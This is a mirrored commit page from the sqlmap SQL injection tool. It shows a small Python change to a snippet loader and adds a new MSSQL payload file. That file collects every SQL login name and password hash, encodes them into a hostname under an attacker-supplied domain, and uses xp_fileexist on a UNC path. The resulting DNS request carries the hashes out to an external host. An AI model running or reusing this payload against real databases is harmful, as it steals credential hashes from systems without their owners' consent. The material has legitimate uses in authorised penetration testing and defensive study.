mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-01-24 08:14:24 +03:00
minor update
This commit is contained in:
parent
122db6e164
commit
bf923a97df
|
@ -1816,6 +1816,8 @@ def getSPLSnippet(name, **variables):
|
|||
checkFile(filename)
|
||||
retVal = readCachedFileContent(filename)
|
||||
|
||||
retVal = re.sub(r"#.+", "", retVal)
|
||||
|
||||
for _ in variables.keys():
|
||||
retVal = re.sub(r"%%%s%%" % _, variables[_], retVal, flags=re.I)
|
||||
|
||||
|
|
5
procs/mssql_dns_request.txt
Normal file
5
procs/mssql_dns_request.txt
Normal file
|
@ -0,0 +1,5 @@
|
|||
# Reference: http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-joseph_mccray-adv_sql_injection.pdf
|
||||
|
||||
DECLARE @host varchar(1024);
|
||||
SELECT @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.%DOMAIN%' FROM sys.sql_logins;
|
||||
EXEC('xp_fileexist "\' + @host + 'c$boot.ini"');
|
Loading…
Reference in New Issue
Block a user